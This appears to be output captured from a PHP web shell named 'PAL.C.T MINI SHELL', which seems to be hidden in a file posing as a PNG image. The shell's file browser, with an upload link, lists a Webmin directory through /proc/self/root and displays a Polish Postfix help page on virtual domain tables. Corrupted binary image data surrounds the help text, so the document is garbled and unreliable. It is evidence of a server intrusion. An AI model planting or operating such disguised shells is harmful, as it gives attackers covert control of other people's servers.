php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/postfix/help/
upload
files >> //proc/self/root/usr/libexec/webmin/postfix/help/virtual.pl.html

<header>Domeny wirtualne</header>

Fakultatywna tabela domen wirtualnych określa przekierowania lokalnych
i&nbsp;zdalnych użytkowników oraz domen. Przekierowania są wykorzystywane
przez demona cleanup(8). Przekierowania są rekurencyjne. <p>

Przekierowanie wirtualne dotyczy jedynie adresu nadawcy na "kopercie",
i&nbsp;nie wpływa na nagłówki. Traktuj je jak zbiór reguł <tt>S0</tt>
Sendmaila, jeśli chcesz. W&nbsp;ogólności, do przepisywania adresów
w&nsbsp;nagłówkach i&nbsp;na "kopercie" korzystaj
z&nbsp;<a href=canonical>podstawień kanonicznych</a>.

Typowa obsługa domeny wirtualnej wygląda następująco:

<ul>
<li> <b><tt>domena.wirtualna</tt></b> podstawiane...
<b><tt>cokolwiek</tt></b> (zawartość prawej strony nie ma znaczenia)
<li> <b><tt>uzytkownik1@domena.wirtualna</tt></b> podstawiany...
<b><tt>adres1</tt></b>
<li> <b><tt>uzytkownik2@domena.wirtualna</tt></b> podstawiany...
<b><tt>adres2, adres3</tt></b>
</ul>

Wówczas serwer SMTP przyjmuje pocztę skierowaną do <tt>domena.wirtualna</tt>
a&nbsp;odrzuca skierowaną do <tt>nieznany@domena.wirtualna</tt> jako
niedoręczalną. <p>

Format tabeli wirtualnej jest następujący (podstawienia są wykonywane
w&nbsp;poniższej kolejności):

<ul>
<li> <b><tt>uzytkownik@domena</tt></b> podstawiany... <b><tt>adres, adres,
...</tt></b>: <br>
Poczta skierowana do <tt>uzytkownik@domena</tt> jest kierowana do
<tt>adres</tt>. Ta postać ma najwyższy priorytet.

<li> <b><tt>uzytkownik</tt></b> podstawiany... <b><tt>adres, adres,
...</tt></b>: <br>
Poczta skierowana do <tt>uzytkownik@miejsce</tt> jest kierowana na
<tt>adres</tt>, gdy <tt>miejsce</tt> jest tożsame z&nbsp;<tt>$myorigin</tt>,
jest wymienione wśród <tt>$mydestination</tt> lub jest wymienione wśród
<tt>$inet_interfaces</tt>. Ta funkcjonalność pokrywa się z funkcjonalnością
bazy <a href=aliases>aliasów lokalnych</a>. Różnica polega na tym, że
podstawienia wirtualne można stosować do adresów zdalnych.

<li> <b><tt>@domena</tt></b> podstawiany... <b><tt>adres, adres,
...</tt></b>: <br>
Poczta skierowana do dowolnego użytkownika w&nbsp;<tt>domena</tt> jest
kierowana na <tt>adres</tt>. Ta postać ma najniższy priorytet.
</ul>

W&nbsp;powyższych podstawieniach, gdy adres ma postać <tt>@innadomena</tt>,
wynikiem jest ten sam użytkownik w&nbsp;<tt>innadomena</tt>. Działa to
jedynie dla pierwszego adresu w&nbsp;rozwinięciu.<p>

ROZSZERZENIA ADRESÓW: Gdy przeszukiwanie zakończy się niepowodzeniem
a&nbsp;lokalna część adresu zawiera fakultatywny ogranicznik odbiorcy (np.
<tt>uzytkownik+cos@domena</tt>), przeszukiwanie jest powtarzane dla
nierozszerzonego adresu (np. <tt>uzytkownik@domena</tt>) i&nbsp;niepasujące
rozszerzenie jest przenoszone na wynik rozwinięcia. Kolejność dopasowywania
jest następująca: <tt>uzytkownik+cos@domena</tt>,
<tt>uzytkownik@domena</tt>, <tt>uzytkownik+cos</tt>, <tt>uzytkownik</tt>
oraz <tt>@domena</tt>.

<hr>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`